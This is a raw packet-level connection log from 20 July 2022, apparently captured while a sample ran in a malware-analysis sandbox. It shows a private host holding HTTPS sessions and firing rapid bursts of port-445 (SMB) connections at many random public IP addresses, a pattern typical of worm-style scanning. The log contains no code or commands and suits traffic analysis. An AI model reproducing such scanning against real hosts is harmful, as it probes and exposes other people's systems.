Jul 20, 2022 15:45:08.880278111 CEST	443	52560	20.40.129.122	192.168.2.7
Jul 20, 2022 15:45:08.880284071 CEST	52560	443	192.168.2.7	20.40.129.122
Jul 20, 2022 15:45:08.880306005 CEST	52560	443	192.168.2.7	20.40.129.122
Jul 20, 2022 15:45:08.880321026 CEST	52560	443	192.168.2.7	20.40.129.122
Jul 20, 2022 15:45:08.880342007 CEST	52560	443	192.168.2.7	20.40.129.122
Jul 20, 2022 15:45:09.101942062 CEST	52554	445	192.168.2.7	77.244.179.104
Jul 20, 2022 15:45:09.138874054 CEST	445	52554	77.244.179.104	192.168.2.7
Jul 20, 2022 15:45:09.232189894 CEST	52563	443	192.168.2.7	52.242.101.226
Jul 20, 2022 15:45:09.232259035 CEST	443	52563	52.242.101.226	192.168.2.7
Jul 20, 2022 15:45:09.232387066 CEST	52563	443	192.168.2.7	52.242.101.226
Jul 20, 2022 15:45:09.232768059 CEST	52563	443	192.168.2.7	52.242.101.226
Jul 20, 2022 15:45:09.232793093 CEST	443	52563	52.242.101.226	192.168.2.7
Jul 20, 2022 15:45:09.263950109 CEST	52564	443	192.168.2.7	20.238.103.94
Jul 20, 2022 15:45:09.263997078 CEST	443	52564	20.238.103.94	192.168.2.7
Jul 20, 2022 15:45:09.264157057 CEST	52564	443	192.168.2.7	20.238.103.94
Jul 20, 2022 15:45:09.264519930 CEST	52564	443	192.168.2.7	20.238.103.94
Jul 20, 2022 15:45:09.264542103 CEST	443	52564	20.238.103.94	192.168.2.7
Jul 20, 2022 15:45:09.398813963 CEST	52556	445	192.168.2.7	180.33.77.201
Jul 20, 2022 15:45:09.412763119 CEST	443	52564	20.238.103.94	192.168.2.7
Jul 20, 2022 15:45:09.412910938 CEST	52564	443	192.168.2.7	20.238.103.94
Jul 20, 2022 15:45:09.427514076 CEST	52566	445	192.168.2.7	188.18.139.37
Jul 20, 2022 15:45:09.436333895 CEST	52564	443	192.168.2.7	20.238.103.94
Jul 20, 2022 15:45:09.436378956 CEST	443	52564	20.238.103.94	192.168.2.7
Jul 20, 2022 15:45:09.436654091 CEST	52564	443	192.168.2.7	20.238.103.94
Jul 20, 2022 15:45:09.436671019 CEST	443	52564	20.238.103.94	192.168.2.7
Jul 20, 2022 15:45:09.436919928 CEST	443	52564	20.238.103.94	192.168.2.7
Jul 20, 2022 15:45:09.437001944 CEST	52564	443	192.168.2.7	20.238.103.94
Jul 20, 2022 15:45:09.493685961 CEST	443	52564	20.238.103.94	192.168.2.7
Jul 20, 2022 15:45:09.493782043 CEST	443	52564	20.238.103.94	192.168.2.7
Jul 20, 2022 15:45:09.493877888 CEST	52564	443	192.168.2.7	20.238.103.94
Jul 20, 2022 15:45:09.494431019 CEST	52564	443	192.168.2.7	20.238.103.94
Jul 20, 2022 15:45:09.502171040 CEST	52564	443	192.168.2.7	20.238.103.94
Jul 20, 2022 15:45:09.502235889 CEST	443	52564	20.238.103.94	192.168.2.7
Jul 20, 2022 15:45:09.502260923 CEST	52564	443	192.168.2.7	20.238.103.94
Jul 20, 2022 15:45:09.502341032 CEST	52564	443	192.168.2.7	20.238.103.94
Jul 20, 2022 15:45:09.512897015 CEST	52569	443	192.168.2.7	20.238.103.94
Jul 20, 2022 15:45:09.512954950 CEST	443	52569	20.238.103.94	192.168.2.7
Jul 20, 2022 15:45:09.513047934 CEST	52569	443	192.168.2.7	20.238.103.94
Jul 20, 2022 15:45:09.513972044 CEST	52569	443	192.168.2.7	20.238.103.94
Jul 20, 2022 15:45:09.513998032 CEST	443	52569	20.238.103.94	192.168.2.7
Jul 20, 2022 15:45:09.556870937 CEST	443	52563	52.242.101.226	192.168.2.7
Jul 20, 2022 15:45:09.556972980 CEST	52563	443	192.168.2.7	52.242.101.226
Jul 20, 2022 15:45:09.559295893 CEST	52563	443	192.168.2.7	52.242.101.226
Jul 20, 2022 15:45:09.559319973 CEST	443	52563	52.242.101.226	192.168.2.7
Jul 20, 2022 15:45:09.559691906 CEST	443	52563	52.242.101.226	192.168.2.7
Jul 20, 2022 15:45:09.560870886 CEST	52563	443	192.168.2.7	52.242.101.226
Jul 20, 2022 15:45:09.571610928 CEST	52574	445	192.168.2.7	20.239.72.30
Jul 20, 2022 15:45:09.571669102 CEST	52575	445	192.168.2.7	91.26.180.152
Jul 20, 2022 15:45:09.571928978 CEST	52576	445	192.168.2.7	66.127.225.183
Jul 20, 2022 15:45:09.572007895 CEST	52577	445	192.168.2.7	148.201.203.10
Jul 20, 2022 15:45:09.572994947 CEST	52578	445	192.168.2.7	8.219.100.87
Jul 20, 2022 15:45:09.573061943 CEST	52579	445	192.168.2.7	118.113.241.226
Jul 20, 2022 15:45:09.589236021 CEST	52584	445	192.168.2.7	200.222.30.96
Jul 20, 2022 15:45:09.589808941 CEST	52585	445	192.168.2.7	169.210.124.235
Jul 20, 2022 15:45:09.590974092 CEST	52587	445	192.168.2.7	99.140.47.162
Jul 20, 2022 15:45:09.591516018 CEST	52588	445	192.168.2.7	156.140.56.112
Jul 20, 2022 15:45:09.592052937 CEST	52589	445	192.168.2.7	182.243.34.212
Jul 20, 2022 15:45:09.592590094 CEST	52590	445	192.168.2.7	125.149.135.152
Jul 20, 2022 15:45:09.593571901 CEST	52592	445	192.168.2.7	14.1.31.139
Jul 20, 2022 15:45:09.594093084 CEST	52593	445	192.168.2.7	200.52.202.216
Jul 20, 2022 15:45:09.595523119 CEST	52596	445	192.168.2.7	158.145.134.175
Jul 20, 2022 15:45:09.596055031 CEST	52597	445	192.168.2.7	102.119.235.139
Jul 20, 2022 15:45:09.598015070 CEST	52600	445	192.168.2.7	194.147.144.182
Jul 20, 2022 15:45:09.604510069 CEST	443	52563	52.242.101.226	192.168.2.7
Jul 20, 2022 15:45:09.625834942 CEST	52601	445	192.168.2.7	98.33.168.41
Jul 20, 2022 15:45:09.626842022 CEST	52602	445	192.168.2.7	70.174.51.38
Jul 20, 2022 15:45:09.627679110 CEST	52603	445	192.168.2.7	45.141.61.110
Jul 20, 2022 15:45:09.627682924 CEST	52604	445	192.168.2.7	170.65.8.124
Jul 20, 2022 15:45:09.627810955 CEST	52605	445	192.168.2.7	53.200.157.217
Jul 20, 2022 15:45:09.627926111 CEST	52608	445	192.168.2.7	184.46.201.3
Jul 20, 2022 15:45:09.628037930 CEST	52610	445	192.168.2.7	46.42.212.90
Jul 20, 2022 15:45:09.628108025 CEST	52609	445	192.168.2.7	3.218.134.103
Jul 20, 2022 15:45:09.628119946 CEST	52612	445	192.168.2.7	183.209.154.29
Jul 20, 2022 15:45:09.628120899 CEST	52611	445	192.168.2.7	94.227.31.52
Jul 20, 2022 15:45:09.628222942 CEST	52613	445	192.168.2.7	83.239.199.57
Jul 20, 2022 15:45:09.628283024 CEST	52614	445	192.168.2.7	17.174.220.114
Jul 20, 2022 15:45:09.628299952 CEST	52615	445	192.168.2.7	97.179.78.22
Jul 20, 2022 15:45:09.628406048 CEST	52616	445	192.168.2.7	193.221.98.241
Jul 20, 2022 15:45:09.667612076 CEST	443	52569	20.238.103.94	192.168.2.7
Jul 20, 2022 15:45:09.667706966 CEST	52569	443	192.168.2.7	20.238.103.94
Jul 20, 2022 15:45:09.673352957 CEST	52569	443	192.168.2.7	20.238.103.94
Jul 20, 2022 15:45:09.673367023 CEST	443	52569	20.238.103.94	192.168.2.7
Jul 20, 2022 15:45:09.688683033 CEST	52569	443	192.168.2.7	20.238.103.94
Jul 20, 2022 15:45:09.688700914 CEST	443	52569	20.238.103.94	192.168.2.7
Jul 20, 2022 15:45:09.690627098 CEST	445	52556	180.33.77.201	192.168.2.7
Jul 20, 2022 15:45:09.756642103 CEST	443	52569	20.238.103.94	192.168.2.7
Jul 20, 2022 15:45:09.756710052 CEST	443	52569	20.238.103.94	192.168.2.7
Jul 20, 2022 15:45:09.756738901 CEST	52569	443	192.168.2.7	20.238.103.94
Jul 20, 2022 15:45:09.756773949 CEST	52569	443	192.168.2.7	20.238.103.94
Jul 20, 2022 15:45:09.768281937 CEST	52569	443	192.168.2.7	20.238.103.94
Jul 20, 2022 15:45:09.768332005 CEST	443	52569	20.238.103.94	192.168.2.7
Jul 20, 2022 15:45:09.768349886 CEST	52569	443	192.168.2.7	20.238.103.94
Jul 20, 2022 15:45:09.768598080 CEST	52569	443	192.168.2.7	20.238.103.94
Jul 20, 2022 15:45:09.776923895 CEST	443	52563	52.242.101.226	192.168.2.7
Jul 20, 2022 15:45:09.776969910 CEST	443	52563	52.242.101.226	192.168.2.7
Jul 20, 2022 15:45:09.776997089 CEST	443	52563	52.242.101.226	192.168.2.7
Jul 20, 2022 15:45:09.777096033 CEST	52563	443	192.168.2.7	52.242.101.226
Jul 20, 2022 15:45:09.777132988 CEST	443	52563	52.242.101.226	192.168.2.7
Jul 20, 2022 15:45:09.777148008 CEST	443	52563	52.242.101.226	192.168.2.7
Jul 20, 2022 15:45:09.777225971 CEST	52563	443	192.168.2.7	52.242.101.226
Jul 20, 2022 15:45:09.777226925 CEST	443	52563	52.242.101.226	192.168.2.7
Jul 20, 2022 15:45:09.777268887 CEST	52563	443	192.168.2.7	52.242.101.226
Jul 20, 2022 15:45:09.777303934 CEST	52563	443	192.168.2.7	52.242.101.226
Jul 20, 2022 15:45:09.779357910 CEST	52563	443	192.168.2.7	52.242.101.226
Jul 20, 2022 15:45:09.779387951 CEST	443	52563	52.242.101.226	192.168.2.7
Jul 20, 2022 15:45:09.779429913 CEST	52563	443	192.168.2.7	52.242.101.226
Jul 20, 2022 15:45:09.779438972 CEST	443	52563	52.242.101.226	192.168.2.7
Jul 20, 2022 15:45:09.859929085 CEST	52618	443	192.168.2.7	20.238.103.94
Jul 20, 2022 15:45:09.859992981 CEST	443	52618	20.238.103.94	192.168.2.7
Jul 20, 2022 15:45:09.860101938 CEST	52618	443	192.168.2.7	20.238.103.94
Jul 20, 2022 15:45:09.935157061 CEST	52619	443	192.168.2.7	52.152.110.14
Jul 20, 2022 15:45:09.935220957 CEST	443	52619	52.152.110.14	192.168.2.7
Jul 20, 2022 15:45:09.935334921 CEST	52619	443	192.168.2.7	52.152.110.14
Jul 20, 2022 15:45:09.936060905 CEST	52619	443	192.168.2.7	52.152.110.14
Jul 20, 2022 15:45:09.936088085 CEST	443	52619	52.152.110.14	192.168.2.7
Jul 20, 2022 15:45:09.975269079 CEST	52618	443	192.168.2.7	20.238.103.94
Jul 20, 2022 15:45:09.975313902 CEST	443	52618	20.238.103.94	192.168.2.7
Jul 20, 2022 15:45:10.115420103 CEST	443	52618	20.238.103.94	192.168.2.7
Jul 20, 2022 15:45:10.115520000 CEST	52618	443	192.168.2.7	20.238.103.94
Jul 20, 2022 15:45:10.118654966 CEST	52618	443	192.168.2.7	20.238.103.94
Jul 20, 2022 15:45:10.118676901 CEST	443	52618	20.238.103.94	192.168.2.7
Jul 20, 2022 15:45:10.210807085 CEST	52618	443	192.168.2.7	20.238.103.94
Jul 20, 2022 15:45:10.210829973 CEST	443	52618	20.238.103.94	192.168.2.7
Jul 20, 2022 15:45:10.281083107 CEST	443	52618	20.238.103.94	192.168.2.7
Jul 20, 2022 15:45:10.281202078 CEST	52618	443	192.168.2.7	20.238.103.94
Jul 20, 2022 15:45:10.281224012 CEST	443	52618	20.238.103.94	192.168.2.7
Jul 20, 2022 15:45:10.281245947 CEST	443	52618	20.238.103.94	192.168.2.7
Jul 20, 2022 15:45:10.281291008 CEST	52618	443	192.168.2.7	20.238.103.94
Jul 20, 2022 15:45:10.281306982 CEST	52618	443	192.168.2.7	20.238.103.94
Jul 20, 2022 15:45:10.313780069 CEST	52618	443	192.168.2.7	20.238.103.94
Jul 20, 2022 15:45:10.313819885 CEST	443	52618	20.238.103.94	192.168.2.7
Jul 20, 2022 15:45:10.313831091 CEST	52618	443	192.168.2.7	20.238.103.94
Jul 20, 2022 15:45:10.313877106 CEST	52618	443	192.168.2.7	20.238.103.94
Jul 20, 2022 15:45:10.326419115 CEST	52622	443	192.168.2.7	20.238.103.94
Jul 20, 2022 15:45:10.326452971 CEST	443	52622	20.238.103.94	192.168.2.7
Jul 20, 2022 15:45:10.326555014 CEST	52622	443	192.168.2.7	20.238.103.94
Jul 20, 2022 15:45:10.329869032 CEST	52622	443	192.168.2.7	20.238.103.94
Jul 20, 2022 15:45:10.329893112 CEST	443	52622	20.238.103.94	192.168.2.7
Jul 20, 2022 15:45:10.342777014 CEST	443	52619	52.152.110.14	192.168.2.7
Jul 20, 2022 15:45:10.342998028 CEST	52619	443	192.168.2.7	52.152.110.14
Jul 20, 2022 15:45:10.346255064 CEST	52619	443	192.168.2.7	52.152.110.14
Jul 20, 2022 15:45:10.346262932 CEST	443	52619	52.152.110.14	192.168.2.7
Jul 20, 2022 15:45:10.346641064 CEST	443	52619	52.152.110.14	192.168.2.7
Jul 20, 2022 15:45:10.348295927 CEST	52619	443	192.168.2.7	52.152.110.14
Jul 20, 2022 15:45:10.392488003 CEST	443	52619	52.152.110.14	192.168.2.7
Jul 20, 2022 15:45:10.482590914 CEST	443	52622	20.238.103.94	192.168.2.7
Jul 20, 2022 15:45:10.482707977 CEST	52622	443	192.168.2.7	20.238.103.94
Jul 20, 2022 15:45:10.497009039 CEST	52623	445	192.168.2.7	188.18.139.38
Jul 20, 2022 15:45:10.537621975 CEST	52622	443	192.168.2.7	20.238.103.94
Jul 20, 2022 15:45:10.537642956 CEST	443	52622	20.238.103.94	192.168.2.7
Jul 20, 2022 15:45:10.540971041 CEST	52622	443	192.168.2.7	20.238.103.94
Jul 20, 2022 15:45:10.540991068 CEST	443	52622	20.238.103.94	192.168.2.7
Jul 20, 2022 15:45:10.605731964 CEST	443	52622	20.238.103.94	192.168.2.7
Jul 20, 2022 15:45:10.605823040 CEST	443	52622	20.238.103.94	192.168.2.7
Jul 20, 2022 15:45:10.605875969 CEST	52622	443	192.168.2.7	20.238.103.94
Jul 20, 2022 15:45:10.607964993 CEST	52622	443	192.168.2.7	20.238.103.94
Jul 20, 2022 15:45:10.616687059 CEST	443	52619	52.152.110.14	192.168.2.7
Jul 20, 2022 15:45:10.616729021 CEST	443	52619	52.152.110.14	192.168.2.7
Jul 20, 2022 15:45:10.616753101 CEST	443	52619	52.152.110.14	192.168.2.7
Jul 20, 2022 15:45:10.616883039 CEST	52619	443	192.168.2.7	52.152.110.14
Jul 20, 2022 15:45:10.616908073 CEST	443	52619	52.152.110.14	192.168.2.7
Jul 20, 2022 15:45:10.616925955 CEST	443	52619	52.152.110.14	192.168.2.7
Jul 20, 2022 15:45:10.616941929 CEST	443	52619	52.152.110.14	192.168.2.7
Jul 20, 2022 15:45:10.617005110 CEST	52619	443	192.168.2.7	52.152.110.14
Jul 20, 2022 15:45:10.617072105 CEST	52619	443	192.168.2.7	52.152.110.14
Jul 20, 2022 15:45:10.629106045 CEST	52619	443	192.168.2.7	52.152.110.14
Jul 20, 2022 15:45:10.629141092 CEST	443	52619	52.152.110.14	192.168.2.7
Jul 20, 2022 15:45:10.629153967 CEST	52619	443	192.168.2.7	52.152.110.14
Jul 20, 2022 15:45:10.629159927 CEST	443	52619	52.152.110.14	192.168.2.7
Jul 20, 2022 15:45:10.659954071 CEST	52622	443	192.168.2.7	20.238.103.94
Jul 20, 2022 15:45:10.659984112 CEST	443	52622	20.238.103.94	192.168.2.7
Jul 20, 2022 15:45:10.659991980 CEST	52622	443	192.168.2.7	20.238.103.94
Jul 20, 2022 15:45:10.660048962 CEST	52622	443	192.168.2.7	20.238.103.94
Jul 20, 2022 15:45:10.699563026 CEST	52631	445	192.168.2.7	91.167.104.180
Jul 20, 2022 15:45:10.699623108 CEST	52632	445	192.168.2.7	200.156.135.77
Jul 20, 2022 15:45:10.699656963 CEST	52633	445	192.168.2.7	143.199.6.119
Jul 20, 2022 15:45:10.699728966 CEST	52634	445	192.168.2.7	82.146.147.127
Jul 20, 2022 15:45:10.699738979 CEST	52635	445	192.168.2.7	209.244.0.45
Jul 20, 2022 15:45:10.699876070 CEST	52636	445	192.168.2.7	142.35.48.10
Jul 20, 2022 15:45:10.713182926 CEST	52638	445	192.168.2.7	129.214.49.127
Jul 20, 2022 15:45:10.714566946 CEST	52640	445	192.168.2.7	64.165.108.4
Jul 20, 2022 15:45:10.715332985 CEST	52641	445	192.168.2.7	74.188.148.82
Jul 20, 2022 15:45:10.717310905 CEST	52644	445	192.168.2.7	214.119.225.5
Jul 20, 2022 15:45:10.718049049 CEST	52645	445	192.168.2.7	35.245.46.168
Jul 20, 2022 15:45:10.719778061 CEST	52647	445	192.168.2.7	136.21.213.0
Jul 20, 2022 15:45:10.720587969 CEST	52648	445	192.168.2.7	112.31.149.115
Jul 20, 2022 15:45:10.721271992 CEST	52649	445	192.168.2.7	46.32.32.66
Jul 20, 2022 15:45:10.721946955 CEST	52650	445	192.168.2.7	180.138.171.41
Jul 20, 2022 15:45:10.723341942 CEST	52652	445	192.168.2.7	221.240.101.41
Jul 20, 2022 15:45:10.724311113 CEST	52653	445	192.168.2.7	42.15.91.253
Jul 20, 2022 15:45:10.744561911 CEST	52658	445	192.168.2.7	108.225.137.117
Jul 20, 2022 15:45:10.745564938 CEST	52659	445	192.168.2.7	111.125.152.1
Jul 20, 2022 15:45:10.746474981 CEST	52660	445	192.168.2.7	40.243.186.130
Jul 20, 2022 15:45:10.747344017 CEST	52661	445	192.168.2.7	55.176.162.192
Jul 20, 2022 15:45:10.748161077 CEST	52662	445	192.168.2.7	84.12.83.38
Jul 20, 2022 15:45:10.749041080 CEST	52663	445	192.168.2.7	141.209.49.57
Jul 20, 2022 15:45:10.750974894 CEST	52665	445	192.168.2.7	192.84.202.202
Jul 20, 2022 15:45:10.751655102 CEST	52666	445	192.168.2.7	167.63.251.104
Jul 20, 2022 15:45:10.752351999 CEST	52667	445	192.168.2.7	135.238.82.15
Jul 20, 2022 15:45:10.753081083 CEST	52668	445	192.168.2.7	194.185.43.146
Jul 20, 2022 15:45:10.753782034 CEST	52669	445	192.168.2.7	159.106.156.208
Jul 20, 2022 15:45:10.755165100 CEST	52671	445	192.168.2.7	3.150.211.20
Jul 20, 2022 15:45:10.755862951 CEST	52672	445	192.168.2.7	129.84.126.76
Jul 20, 2022 15:45:10.757203102 CEST	52674	445	192.168.2.7	192.121.129.248
Jul 20, 2022 15:45:10.818505049 CEST	52675	443	192.168.2.7	20.238.103.94
Jul 20, 2022 15:45:10.818550110 CEST	443	52675	20.238.103.94	192.168.2.7
Jul 20, 2022 15:45:10.818645000 CEST	52675	443	192.168.2.7	20.238.103.94
Jul 20, 2022 15:45:10.856666088 CEST	445	52659	111.125.152.1	192.168.2.7
Jul 20, 2022 15:45:10.907738924 CEST	52675	443	192.168.2.7	20.238.103.94
Jul 20, 2022 15:45:10.907774925 CEST	443	52675	20.238.103.94	192.168.2.7
Jul 20, 2022 15:45:11.049844027 CEST	443	52675	20.238.103.94	192.168.2.7
Jul 20, 2022 15:45:11.049949884 CEST	52675	443	192.168.2.7	20.238.103.94
Jul 20, 2022 15:45:11.120820045 CEST	52675	443	192.168.2.7	20.238.103.94
Jul 20, 2022 15:45:11.120846033 CEST	443	52675	20.238.103.94	192.168.2.7
Jul 20, 2022 15:45:11.123780966 CEST	52675	443	192.168.2.7	20.238.103.94
Jul 20, 2022 15:45:11.123811960 CEST	443	52675	20.238.103.94	192.168.2.7
Jul 20, 2022 15:45:11.194513083 CEST	443	52675	20.238.103.94	192.168.2.7
Jul 20, 2022 15:45:11.194581985 CEST	443	52675	20.238.103.94	192.168.2.7
Jul 20, 2022 15:45:11.194633961 CEST	52675	443	192.168.2.7	20.238.103.94
Jul 20, 2022 15:45:11.194705963 CEST	52675	443	192.168.2.7	20.238.103.94
Jul 20, 2022 15:45:11.211905003 CEST	52675	443	192.168.2.7	20.238.103.94
Jul 20, 2022 15:45:11.211942911 CEST	443	52675	20.238.103.94	192.168.2.7
Jul 20, 2022 15:45:11.211954117 CEST	52675	443	192.168.2.7	20.238.103.94
Jul 20, 2022 15:45:11.212007999 CEST	52675	443	192.168.2.7	20.238.103.94
Jul 20, 2022 15:45:11.219340086 CEST	52679	443	192.168.2.7	20.238.103.94
Jul 20, 2022 15:45:11.219419003 CEST	443	52679	20.238.103.94	192.168.2.7
Jul 20, 2022 15:45:11.219557047 CEST	52679	443	192.168.2.7	20.238.103.94
Jul 20, 2022 15:45:11.223227978 CEST	52679	443	192.168.2.7	20.238.103.94
Jul 20, 2022 15:45:11.223256111 CEST	443	52679	20.238.103.94	192.168.2.7
Jul 20, 2022 15:45:11.363132954 CEST	443	52679	20.238.103.94	192.168.2.7
Jul 20, 2022 15:45:11.363318920 CEST	52679	443	192.168.2.7	20.238.103.94
Jul 20, 2022 15:45:11.408626080 CEST	52679	443	192.168.2.7	20.238.103.94
Jul 20, 2022 15:45:11.408639908 CEST	443	52679	20.238.103.94	192.168.2.7
Jul 20, 2022 15:45:11.435713053 CEST	52679	443	192.168.2.7	20.238.103.94
Jul 20, 2022 15:45:11.435728073 CEST	443	52679	20.238.103.94	192.168.2.7
Jul 20, 2022 15:45:11.472517014 CEST	52659	445	192.168.2.7	111.125.152.1
Jul 20, 2022 15:45:11.522988081 CEST	443	52679	20.238.103.94	192.168.2.7
Jul 20, 2022 15:45:11.523047924 CEST	443	52679	20.238.103.94	192.168.2.7
Jul 20, 2022 15:45:11.523191929 CEST	52679	443	192.168.2.7	20.238.103.94
Jul 20, 2022 15:45:11.523201942 CEST	52679	443	192.168.2.7	20.238.103.94
Jul 20, 2022 15:45:11.539495945 CEST	52679	443	192.168.2.7	20.238.103.94
Jul 20, 2022 15:45:11.539539099 CEST	443	52679	20.238.103.94	192.168.2.7
Jul 20, 2022 15:45:11.539550066 CEST	52679	443	192.168.2.7	20.238.103.94
Jul 20, 2022 15:45:11.539710045 CEST	52679	443	192.168.2.7	20.238.103.94
Jul 20, 2022 15:45:11.557292938 CEST	52681	443	192.168.2.7	20.238.103.94
Jul 20, 2022 15:45:11.557341099 CEST	443	52681	20.238.103.94	192.168.2.7
Jul 20, 2022 15:45:11.557495117 CEST	52681	443	192.168.2.7	20.238.103.94
Jul 20, 2022 15:45:11.557817936 CEST	52681	443	192.168.2.7	20.238.103.94
Jul 20, 2022 15:45:11.557831049 CEST	443	52681	20.238.103.94	192.168.2.7
Jul 20, 2022 15:45:11.572412968 CEST	52682	445	192.168.2.7	188.18.139.39
Jul 20, 2022 15:45:11.583053112 CEST	445	52659	111.125.152.1	192.168.2.7
Jul 20, 2022 15:45:11.612469912 CEST	52683	443	192.168.2.7	52.242.101.226
Jul 20, 2022 15:45:11.612540007 CEST	443	52683	52.242.101.226	192.168.2.7
Jul 20, 2022 15:45:11.612863064 CEST	52683	443	192.168.2.7	52.242.101.226
Jul 20, 2022 15:45:11.625159025 CEST	52683	443	192.168.2.7	52.242.101.226
Jul 20, 2022 15:45:11.625186920 CEST	443	52683	52.242.101.226	192.168.2.7
Jul 20, 2022 15:45:11.713823080 CEST	443	52681	20.238.103.94	192.168.2.7
Jul 20, 2022 15:45:11.715035915 CEST	52681	443	192.168.2.7	20.238.103.94
Jul 20, 2022 15:45:11.715846062 CEST	52681	443	192.168.2.7	20.238.103.94
Jul 20, 2022 15:45:11.715866089 CEST	443	52681	20.238.103.94	192.168.2.7
Jul 20, 2022 15:45:11.723010063 CEST	52681	443	192.168.2.7	20.238.103.94
Jul 20, 2022 15:45:11.723030090 CEST	443	52681	20.238.103.94	192.168.2.7
Jul 20, 2022 15:45:11.792932987 CEST	443	52681	20.238.103.94	192.168.2.7
Jul 20, 2022 15:45:11.792990923 CEST	443	52681	20.238.103.94	192.168.2.7
Jul 20, 2022 15:45:11.793072939 CEST	52681	443	192.168.2.7	20.238.103.94
Jul 20, 2022 15:45:11.793159008 CEST	52681	443	192.168.2.7	20.238.103.94
Jul 20, 2022 15:45:11.793184996 CEST	443	52681	20.238.103.94	192.168.2.7
Jul 20, 2022 15:45:11.793194056 CEST	52681	443	192.168.2.7	20.238.103.94
Jul 20, 2022 15:45:11.793277979 CEST	52681	443	192.168.2.7	20.238.103.94
Jul 20, 2022 15:45:11.796202898 CEST	52689	443	192.168.2.7	20.238.103.94
Jul 20, 2022 15:45:11.796295881 CEST	443	52689	20.238.103.94	192.168.2.7
Jul 20, 2022 15:45:11.796412945 CEST	52689	443	192.168.2.7	20.238.103.94
Jul 20, 2022 15:45:11.796916962 CEST	52689	443	192.168.2.7	20.238.103.94
Jul 20, 2022 15:45:11.796933889 CEST	443	52689	20.238.103.94	192.168.2.7
Jul 20, 2022 15:45:11.823362112 CEST	52692	445	192.168.2.7	123.16.6.83
Jul 20, 2022 15:45:11.824129105 CEST	52693	445	192.168.2.7	125.37.188.141
Jul 20, 2022 15:45:11.824875116 CEST	52694	445	192.168.2.7	102.59.120.149
Jul 20, 2022 15:45:11.825603008 CEST	52695	445	192.168.2.7	61.171.251.34
Jul 20, 2022 15:45:11.826396942 CEST	52696	445	192.168.2.7	122.244.91.22
Jul 20, 2022 15:45:11.827047110 CEST	52697	445	192.168.2.7	189.14.146.85
Jul 20, 2022 15:45:11.846635103 CEST	52699	445	192.168.2.7	85.137.23.39
Jul 20, 2022 15:45:11.846714973 CEST	52701	445	192.168.2.7	129.223.48.141
Jul 20, 2022 15:45:11.846777916 CEST	52702	445	192.168.2.7	177.27.129.84
Jul 20, 2022 15:45:11.846915960 CEST	52705	445	192.168.2.7	209.144.160.214
Jul 20, 2022 15:45:11.847115993 CEST	52708	445	192.168.2.7	179.102.123.236
Jul 20, 2022 15:45:11.847120047 CEST	52706	445	192.168.2.7	178.142.235.132
Jul 20, 2022 15:45:11.847167969 CEST	52709	445	192.168.2.7	136.223.12.219
Jul 20, 2022 15:45:11.847240925 CEST	52710	445	192.168.2.7	128.183.135.83
Jul 20, 2022 15:45:11.847318888 CEST	52711	445	192.168.2.7	21.20.126.153
Jul 20, 2022 15:45:11.847439051 CEST	52713	445	192.168.2.7	176.113.19.144
Jul 20, 2022 15:45:11.847526073 CEST	52714	445	192.168.2.7	164.213.196.81
Jul 20, 2022 15:45:11.886562109 CEST	52719	445	192.168.2.7	90.136.164.31
Jul 20, 2022 15:45:11.890521049 CEST	52720	445	192.168.2.7	12.153.123.163
Jul 20, 2022 15:45:11.892736912 CEST	52722	445	192.168.2.7	7.11.214.109
Jul 20, 2022 15:45:11.892786026 CEST	52721	445	192.168.2.7	193.175.87.62
Jul 20, 2022 15:45:11.892883062 CEST	52723	445	192.168.2.7	1.197.216.49
Jul 20, 2022 15:45:11.892982960 CEST	52724	445	192.168.2.7	51.203.70.216
Jul 20, 2022 15:45:11.892987967 CEST	52726	445	192.168.2.7	158.149.211.67
Jul 20, 2022 15:45:11.893062115 CEST	52727	445	192.168.2.7	97.6.180.34
Jul 20, 2022 15:45:11.893136978 CEST	52729	445	192.168.2.7	132.153.124.29
Jul 20, 2022 15:45:11.893162966 CEST	52728	445	192.168.2.7	157.174.200.30
Jul 20, 2022 15:45:11.893244982 CEST	52730	445	192.168.2.7	107.186.141.40
Jul 20, 2022 15:45:11.893323898 CEST	52732	445	192.168.2.7	61.228.81.128
Jul 20, 2022 15:45:11.893342972 CEST	52733	445	192.168.2.7	214.14.216.52
Jul 20, 2022 15:45:11.893450022 CEST	52735	445	192.168.2.7	220.142.25.159
Jul 20, 2022 15:45:11.936899900 CEST	443	52689	20.238.103.94	192.168.2.7
Jul 20, 2022 15:45:11.937129974 CEST	52689	443	192.168.2.7	20.238.103.94
Jul 20, 2022 15:45:11.942331076 CEST	52689	443	192.168.2.7	20.238.103.94
Jul 20, 2022 15:45:11.942351103 CEST	443	52689	20.238.103.94	192.168.2.7
Jul 20, 2022 15:45:11.945017099 CEST	52689	443	192.168.2.7	20.238.103.94
Jul 20, 2022 15:45:11.945043087 CEST	443	52689	20.238.103.94	192.168.2.7
Jul 20, 2022 15:45:11.951417923 CEST	443	52683	52.242.101.226	192.168.2.7
Jul 20, 2022 15:45:11.951576948 CEST	52683	443	192.168.2.7	52.242.101.226
Jul 20, 2022 15:45:12.004048109 CEST	52683	443	192.168.2.7	52.242.101.226
Jul 20, 2022 15:45:12.004086018 CEST	443	52683	52.242.101.226	192.168.2.7
Jul 20, 2022 15:45:12.004501104 CEST	443	52683	52.242.101.226	192.168.2.7
Jul 20, 2022 15:45:12.006102085 CEST	52683	443	192.168.2.7	52.242.101.226
Jul 20, 2022 15:45:12.037817955 CEST	443	52689	20.238.103.94	192.168.2.7
Jul 20, 2022 15:45:12.037925959 CEST	443	52689	20.238.103.94	192.168.2.7
Jul 20, 2022 15:45:12.038139105 CEST	52689	443	192.168.2.7	20.238.103.94
Jul 20, 2022 15:45:12.048499107 CEST	443	52683	52.242.101.226	192.168.2.7
Jul 20, 2022 15:45:12.063822985 CEST	445	52730	107.186.141.40	192.168.2.7
Jul 20, 2022 15:45:12.068214893 CEST	52730	445	192.168.2.7	107.186.141.40
Jul 20, 2022 15:45:12.072432041 CEST	52730	445	192.168.2.7	107.186.141.40
Jul 20, 2022 15:45:12.072952032 CEST	52736	445	192.168.2.7	107.186.141.1
Jul 20, 2022 15:45:12.080584049 CEST	52689	443	192.168.2.7	20.238.103.94
Jul 20, 2022 15:45:12.080626011 CEST	443	52689	20.238.103.94	192.168.2.7
Jul 20, 2022 15:45:12.080658913 CEST	52689	443	192.168.2.7	20.238.103.94
Jul 20, 2022 15:45:12.080785990 CEST	52689	443	192.168.2.7	20.238.103.94
Jul 20, 2022 15:45:12.101974964 CEST	52738	443	192.168.2.7	20.238.103.94
Jul 20, 2022 15:45:12.102015018 CEST	443	52738	20.238.103.94	192.168.2.7
Jul 20, 2022 15:45:12.102138042 CEST	52738	443	192.168.2.7	20.238.103.94
Jul 20, 2022 15:45:12.102996111 CEST	52738	443	192.168.2.7	20.238.103.94
